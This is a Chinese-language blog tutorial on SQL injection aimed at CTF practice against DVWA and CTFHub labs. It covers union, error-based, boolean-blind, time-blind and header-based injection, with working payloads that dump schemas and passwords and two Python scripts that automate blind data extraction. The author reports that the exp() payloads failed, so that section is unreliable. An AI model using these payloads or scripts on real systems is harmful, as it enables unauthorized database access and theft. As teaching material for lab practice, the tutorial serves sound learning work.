【原创 精华 超详细】SQL注入总结——(入门篇,ctf篇)

什么是SQL注入

首先简单介绍一下SQL注入的成因。开发人员在开发的过程中,直接将URL的参数、HTTPBody中的post参数或其他外来的用户输入(如Cookie,UserAgent等)与SQL语句进行拼接,造成待执行的SQL语句可控,从而使我们可以执行任意SQL语句。

了解了SQL注入的成因之后,我们再来看看SQL

注入的具体分类

可回显的注入

1.可以联合的注入

2.报错注入

3.通过注入进行dns请求,从而达到回显的目的

不可回显的注入

1.bool注入

2.时间盲注

二次注入

通常作为一种业务逻辑较为复杂的题目出现,一般需要自己编写脚本以实现自动化注入。

以下语句及MYSQL知识建议背熟

常用的SQL注入语句

在开始之前我们还需要再熟悉一下MYSQL

在MySQL5.0版本之后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中需要记住三个表名,分别是schemata、tables和columns。
schemata表储存该用户创建的所有数据库库名。我们需要记住该表中记录数据库库名的字段名为schema_name。
tables表存储该用户创建的所有数据库的库名和表名.我们需要记住该表中记录数据库库名和表名的字段名分别是table_schema和table_name。
columns表储存该用户创建的所有数据库的库名、表名和字段名,我们需要记住该表中记录数据库库名、表名和字段名为table_schema、table_name和column_name。

可以联合查询的SQL注入

在可以联合查询的题目中。一般会将数据回显到页面中。

数字型(整型)&字符型

判断办法

数字型

当输入的参数为整形时(1 ,2, 3…),如果存在注入漏洞,可以认为是数字型注入。
测试步骤:
(1)加单引号,双引号(等等闭合符号)URL():www.text.com/text.php?id=3’(判断是不是字符型注入)
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加and 1=1 ,URL:www.text.com/text.php?id=3 and 1=1
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;
(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。

字符型

当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
因此,在构造payload时通过闭合单引号可以成功执行语句:
测试步骤:
(1) 加单引号:select * from table where name=’admin’’
由于加单引号后变成三个单引号,则无法执行,程序会报错(需掌握php语言的一些知识);
(2) 加 ’and 1=1 此时sql 语句为:select * from table where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;
Mysql 有三种常用注释符:
–+注意,这种注释符后边有一个空格

通过#进行注释

/* */ 注释掉符号内的内容

因此,构造语句为:select * from table where name =’admin’ and 1=1–+’ 可成功执行返回结果正确;
(3) 加and 1=2— 此时sql语句为:select * from table where name=’admin’ and 1=2 –’则会报错
如果满足以上三点,可以判断该url为字符型注入。

我们由几个实例进行深入的探讨研究

我们来看看dvwa的情况

虽然有漏洞但我们还是走走过程

1.还是用经典的1 and 1=1;1 and 1=2来验证是否存在注入(返回的页面不一样就存在注入)

what???页面一样,没漏洞???

啊啊啊,既然知道有漏洞,判断语句也是对的

真相只有一个

看我写的是数字型所以这个应该是字符型注入

因为自带引号所以我在特定位置带引号肯定会报错

果然,咱们继续跟着节奏走

这里就用

1' and '1'='1
1' and '1'='2

来验证

2.运用 order by猜select语句有几列

一般简单的ctf都是两列所以我们就从3开始

1' order by 3 -- '
释义:order by -->查询结果进行排序

用处:用于下一步手动爆库判断显示的信息是第几列的信息

所以这个也是两列

继续看

3.判断显示的信息是第几列的信息

上面的那个order by就是用在这里的,好直接爆出库

' union select 1,2 -- '

也可以写成这样:

  ' union select 1,2 #
释义:union select -->合并查询     union-->合并  -- 为注释符等同于#

扩展:注释符:

1、#...
2、"--  ..."
3、/*...*/

用处:找到要查询的信息位置

更多解释:

一般在我们可见页面中显示的信息不一定是查询全部列数,可能查询3列,显示1列。通过‘直接闭合前面的select语句,使其前半句查询结果空(除非存在name=’‘的情况),即数据库中不存在该查询数据,然后通过union select 1,2 显示的数字来确定显示的列的位置。

我们已知我们所要的信息保存在第二列,下一步

4.爆库(查找数据库名)

  ' union select database() '1','2 

或者:

' union select 1,database() -- '  //里面的数字可随便写

查询所有库名:

' union select 1,group_concat(schema_name) from information_schema.schemata -- '
所有表名
释义:database()-->当前数据库

5.查表名

 ' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa'#
释义:
group_concat()-->常常用于关联查询,并且表数据对应关系为一对多,将结果返回一条数据
table_name -->表名
from -->的意思就是你要操作的数据来自哪个表
information_schema--> 是MySQL自带的,它提供了访问数据库 元数据 的方式。什么是 元数据 呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。
tables -->存储了数据表的元数据信息
table_schema--> 数据库的名称

具体用法讲解:

proup_concat里面的table_name主要是输出结果table_name是表名对应就就是输出表名
与之相关联的就是information_schema后面的tables
就好比下面我要的是字段名就写成column_name ,information_schema后面加个s也就是columns

我们会很清楚的知道user是用户的意思(百度翻译

6.查字段

 ' union select 1,group_concat(column_name) from information_schema.columns where table_name='users

或者:

' union select  group_concat(column_name) ,2 from information_schema.columns where table_name='users
释义:column_name-->字段

可以看见这个数字 2 的作用并且数字大小随意

7.查获取字段信息

' union select 1,group_concat(password) from dvwa.users -- '

或:

' union select password,2 from users#

第一种方法可以很明显的看出是是合并输出(group_concat)password

是否见的得最多的语句就是union所以这也叫union注入攻击

SQL注入之Union注入攻击

union联合查询算是最简单的一种注入了,但是却是经常遇到。

什么是UNION注入

UNION操作符用于合并两个或多个SELECT语句的结果集,而且UNION内部的SELECT语句必须拥有相同数量的列,列也必须拥有相似的数据类型,同时,每条SELCCT语句中的列的顺序必须相同。

UNION注入的应用场景

1.只有最后一个SELECT子句允许有ORDER BY或LIMIT。

2.注入点页面有回显。

UNION注入的流程

1.首先判断是否存在注入点及注入的类型。

2.观察回显的位置。

3.使用ORDER BY 查询列数。

4.获取数据库名。

5.获取数据库中的所有表名。

6.获取数据库的表中的所有字段名

7.获取字段中的数据

这是一个联合注入查询的ctf,可以参考一下(https://www.cnblogs.com/lzlzzzzzz/p/11681309.html)

至于数字型方法及代码就是引号( ‘ )的区别

报错注入

什么是报错注入

正常用户访问服务器发送id信息返回正确的id数据。报错注入是想办法构造语句,让错误信息中可以显示数据库的内容;如果能让错误信息中返回数据库中的内容,即实现SQL注入

报错注入代码有十种之多这里选取最常见三种(floor、updatexml、exp)的进行讲解

环境还是来自于ctfhub

floor

我们先来看一段带代码以便更深入的学习

1 Union select count(*),concat((select database()),0x3B,floor(rand(0)*2))x from information_schema.columns group by x;

效果

分析:

count(*)-->统计返回的行数
concat()-->连接字符串
floor()-->floor:函数是用来向下取整呢个的,相当于去掉小数部分
rand()-->rand()是随机取(0,1)中的一个数,但是给它一个参数后0,即rand(0),并且传如floor()后,即:floor(rand(0)*2)它就不再是随机了,序列0110110
concat()-->用于连接两个字符串
group by x-->x就是相当于 as x,设一个别名
0x3B-->16进制数值,ASCII为“;”,在回显中起到分隔作用

16进制ASCII码对照表:http://ascii.911cha.com/

剖析构造

我们看见一个新的点floor(rand(0)*2)

这个floor就是十种方法之一

floor前面已经说了我们来看看rand(0)*2

同样是随机这里为什么要用rand(0)而不用rand()呢

比如rand(0)*2输出

0
1
1
1
1

rand()*2

1
1
1
0

 很显然rand(0)是伪随机的,有规律可循,这也是我们采用rand(0)进行报错注入的原因,rand(0)是稳定的,这样每次注入都会报错,而rand()则需要碰运气了

简单来说。floor报错的原理是rand和order by 或是group by的冲突也就是rand()函数在查询的时候会执行一次,插入的时候还会执行一次.这就是整个语句报错的关键

updatexml

updatexml的报错原理从本质上来说就是函数的报错

我们先来看看下面爆库的代码

1 and updatexml(1,concat('~',(select database()),'~'),2);

也可以写成十六进制编码后的表名

1 and updatexml(1,concat(0x7e,(select database()),0x7e),2);

皆可爆出表明至于后面的字段等信息跟着规律应该会了

exp有待完整

exp函数报错的本质原因是溢出报错。

当传递一个大于709的值时,函数exp()就会引起一个溢出错误。

非常难受用了我快两天的时间还是失败了

心态已炸

语句逻辑应该是没有问题

书上和网络上的都试过了一样不行

哎,两种方法也是够用了

获取表名

1 and exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)); 

获取名字并且是书上的原句

1' and exp(~(select * from(select user())a));

一样不行,我开始以为是查不了库名换成user也不行,心态炸了

1 and exp(~(select*from(select database())x));

Bool盲注(布尔盲注)

什么是bool盲注

bool盲注通常由于开发者将报错信息屏蔽而导致的,但是网页中真和假有不同的回显,比如为真时返回正常页面,为假时跳转到错误页面等。

bool盲注中通常会配套使用一些判断真假的语句来进行判断。常用的发现bool盲注的方法是在输入点后面添加and 1=1 和 and 1=2(该payloay应在怀疑时整形注入的情况下使用)。

bool盲注的原理是如果题目后端拼接了SQL语句,and 1=1为真时不会影响执行结果,但是and 1=2为假时,页面则有可能会没有正常的回显。

这时侯我们可能会遇到将1=1过滤掉的SQL注入点,这时候我们可以通过修改关键字来绕过过滤,比如将关键字修改为不常见的数值(如1352=1352等)。

在字符串型注入的时候我们还需要绕过单引号,将payload修改如下格式’and’1’=’1和’or’1’=’2来闭合单引号。

这次我们还是选择ctfhub的环境进行讲解

网上的payload一般是利用ascii()、substr()、length()结合进行利用

  • 获取数据库长度
and (select length(database()))=长度  #可以通过大于等于等来进行猜测以下同理#database 数据库
  • 逐字猜解数据库名
and (select ascii(substr(database(),位数,1)))=ascii码  #位数的变化及从1,2,3变化即可通过ascii码以及猜解的数据库长度求出数据库的库名
  • 猜解表名数量
and (select count(table_name) from information_schema.tables where table_schema=database())=数量 
#
information_schema.tables 专门用来储存所以表,5.0以上版本才有
  • 猜解某个表长度
and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度 #同理n从0来表示变化的表来求该库下的对应的表的长度
  • 逐位猜解表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables
where table_schema = database() limit n,1)=ascii码 #从前面的1变化是求表名,而n变化是对应的库中的表
  • 猜解列名数量
and (select count(*) from information_schema.columns where table_schema =
 database() and table_name = 表名)=数量
#
information_schema.columns 专门用来存储所有的列
  • 猜解某个列长度
and (select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度
  • 逐位猜解列名
and (select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码
  • 判断数据的数量
and (select count(列名) from 表名)=数量
  • 猜解某条数据的长度
and (select length(列名) from 表名 limit n,1)=长度
  • 逐位猜解数据
and (select ascii(substr(user,位数,1)) from 表名 limit n,1)=ascii码

我们先输入个10点击一下看回显

再输入个1’看看

这个和空值时提示的一样,这样我们就可以初步判断为整数型了

本来这个是由and猜库名的,结果and的返回和空值一样

经过判断目前只能用if()来实行注入了

先看下列代码再来具体分析

import requests
urls = 'http://challenge-cbd41590d122d86c.sandbox.ctfhub.com:10080/?id='
true = 'query_success'
#库名
def database_name():
    name = ''
    for number in range(1,8):#猜测数据库库名的长度
        for letter in 'qwertyuioplkjhgfdsazxcvb':#可以想象为一个字典,用所有字母一个个去试,正确返回,错误返回select table_name from information_schema.tables,则会报错
            url = urls + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
            number, letter)#%d整型%s字符串
            response = requests.get(url)
            if true in response.text:#判断response.text里面是否有true
                name = name + letter
                print(name,'...')
                break#终止本次循环
    print('\n>>>database_name=',name,'<<<\n')
database_name()
#表名
def table_name():
    list = []
    for number1 in range(3):#猜有3个表
        name = ''
        for number2 in range(1,8):
            for letter in 'qwertyuioplkjhgfdsazxcvbnm':
                url = urls + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
                    number1, number2, letter)
                response = requests.get(url)
                if true in response.text:
                    name = name + letter
                    print(name,'...')
                    break
        list.append(name)
    print('\n>>>table_name=', list,'<<<\n')
table_name()
#字段名
def column_name():
    list = []
    for number1 in range(3):  # 判断表里最多有4个字段
        name = ''
        for number2 in range(1,8):  # 判断一个 字段名最多有9个字符组成
            for letter in 'qwertyuioplkjhgfdsazxcvbnm':
                url = urls + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
                number1, number2, letter)
                response = requests.get(url)
                if true in response.text:
                    name = name + letter
                    print(name,'...')
                    break
        list.append(name)
    print('\n>>>column_name=', list,'<<<\n')
column_name()
#字段信息
def get_flag():
    name = ''
    for number1 in range(50):  #
        for number2 in range(48, 126): #ASCII 十进制字符0 ~ }
            url = urls + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' % (
            number1, number2)
            response = requests.get(url)
            if true in response.text:
                name = name + chr(number2)#chr()返回 ASCII 字符
                print(name,'...')
                break
    print('\n>>>flag=', name,'<<<\n')
get_flag()

ascii码对照表:http://ascii.911cha.com/

代码我只说sql的部分py的看注释,看不懂就去学:廖雪峰官网

获取库名

if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))

(substr(database(),%d,1)=”%s”为条件,条件为true,则值是1 ,false,值就是(select table_name from information_schema.tables)

substr–>截取字符串中的部分字符,它有两种使用方式:SUBSTR(str,i):由str中,选出字符串str的第i位置开始的字元或substr(str,i,len):由str中的第i位置开始,选出接下去的len个长度的字元。

所以逻辑就是猜测数据库名大概有多长然后用字典去试对的提取出来并结束循环,错的报错继续循环

获取表名

if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))

limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始,表示第一条记录,n是指取n条记录

获取字段

if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))

获取字段信息

if(ascii(substr((select flag from sqli.flag),%d,1))=%d,1,(select table_name from information_schema.tables))

时间盲注

什么是时间盲注

时间盲注出现的本质原因也是由于服务器端拼接了sql语句,但是正确和错误存在同样的回显。错误信息被过滤,不过,可以通过页面响应时间进行按位判断数据。

时间盲注类似于bool(布尔)盲注,只不过验证阶段有所不同。bool盲注是根据页面回显的不同来判断的,而时间盲注是根据页面响应时间来判断结果。一般来说,延迟的时间可以根据客户端与服务器端之间响应的时间来进行选择,选择一个合适的时间即可。一般来说,时间盲注常用的函数有sleep()和benchmark()两个

环境我们还是选择ctfhbu

看下列代码再来分析

import requests,time
urls = 'http://challenge-b8d41d0852a2709a.sandbox.ctfhub.com:10080/?id='
def database_name():
    naem = ''
    for number in range(8):
        for letter in 'qwertyuioplkjhgfdsazxcvbnm':
            url = urls + 'if(substr(database(),%d,1)="%s",sleep(1),1)' % (number,letter)#sleep睡眠函数
            current1_time = time.time()#获取当前时间
            response = requests.get(url)
            current2_time = time.time()
            current = current2_time - current1_time#由未访问的时间减去访问的时间得到时间差
            if current > 1:
                name = name + letter
                print(name)
                break
    print(name)
database_name()
def table_name():
    array = []
    for number1 in range(4):
       name = ''
       for number2 in range(8):
           for letter in 'qwertyuioplkjhgfdsazxcvbnm':
               url = urls + 'if(substr((select table_name from information_schema.tables where table_schema="sqli" limit %d,1),%d,1) = "%s",sleep(1),1)' % (number1,number2,letter)
               current1_time = time.time()
               response = requests.get(url)
               current2_time = time.time()
               current = current2_time - current1_time
               if current > 1:
                   name = name + letter
                   print(name)
                   break
       array.append(name)
    print(array)
table_name()
def column_name():
    name = ''
    for number2 in range(8):
        for letter in 'qwertyuioplkjhgfdsazxcvbnm':
            url = urls + 'if(substr((select column_name from information_schema.columns where table_name="flag" and table_schema="sqli"),%d,1) = "%s",sleep(1),1)' % (number2,letter)
            current1_time = time.time()
            response = requests.get(url)
            current2_time = time.time()
            current = current2_time - current1_time
            if current > 1:
                name = name + letter
                print(name)
                break
    print(name)
column_name()
def flag():
    name = ''
    for number1 in range(1,50):
        for number2 in range(48,126):
            url = urls + 'if(substr((select flag from sqli.flag),%d,1) = "%s",sleep(1),1)' % (number1,chr(number2))
            current1_time = time.time()
            response = requests.get(url)
            current2_time = time.time()
            current = current2_time - current1_time
            if current >= 1:
                name = name + chr(number2)
                print(name)
                break
    print(name)
database_name()
table_name()
column_name()
flag()

意思和bool盲注差不多多了一个sleep函数

if(substr(database(),%d,1)="%s",sleep(1),1)
sleep-->睡眠函数 可以使查询数据时回显数据的时间加长
逻辑:
注入这个语句判断是否有这个字典的字母,有则延长1s,无则返回1,因为服务器是有延迟的所以正确的字母返回的时间一定大于1s由此遍历出结果

相对与可以使用and方法的注入难度有所加大

下面还有cookie注入ua注入refer注入等这里只挑refer注入来说

Cookie注入&UA注入&Refer注入

cookie注入

知识:

首先 我们需要找到一个注入点,如果使用了防注入系统的,会阻止你的注入,目前我们是使用get方式提交的参数,要更改成cookie方式提交,我们首先要访问正常的存在注入点的页面,等页面完全打开之后,地址栏清空,然后写上:JavaScript:alert(document.cookie=”id=”+escape(“x”)); 这里的“id=”便是“注入点中id=x”中的“id=”,“escape(“x”)”中的“x”是“id=x”中的“x”了,这两处要根据实际情况来定义。写完之后按下回车网页中会弹出一个对话框
现在更改好了cookie后我们就要试下能不能正常访问了,现在在另外一个窗口中重新打开那个注入点既是将“id=x”去掉后的,然后看是否能正常访问。如果去掉之后能够继续访问 那么说明可以进行cookie注入,这样就说明程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request(“xx”)的方式。现在cookie形成的一个重要因素已经明确了,接下来我们测试下能否提交特殊字符,看程序是否对数据进行过滤。比如著名的单引号测试法 当然也就可以在语句上添加上手工注入的语句 达到绕过拦截的目的

查库
1+and+1=2+union+select+database(),2#

UA注入

知识

莫得换汤不换药

以下环境来自于dvwa和ctfhub

Refer注入

我们先来看看dvwa

选择medium难度是自带refer注入的

我们来到burp看

我们传到repeater模块看

爆库

1 union select 1 ,database()

表名

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

下面已经不用再说了吧

好,我们来看看ctfhub环境的Refer注入

这里我只说构建方法

下载火狐hackbarchajian

地址:https://hellohy.top/chajian/hackbar-2.2.9-fxmj.xpi

安装方式百度

1.插件安装完成后使用插件

2.点击这个

3.点击完后会出现3的画面

4.点击post形式

5.随便写个啥以便确定位置

6.发送

然后使用burp接收

并转到repeater模块

后面的语句也就那样,难得写了

至于后面还有二次注入,宽字节注入,绕过等等会持续更新

==>转载请注明来源哦<==
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇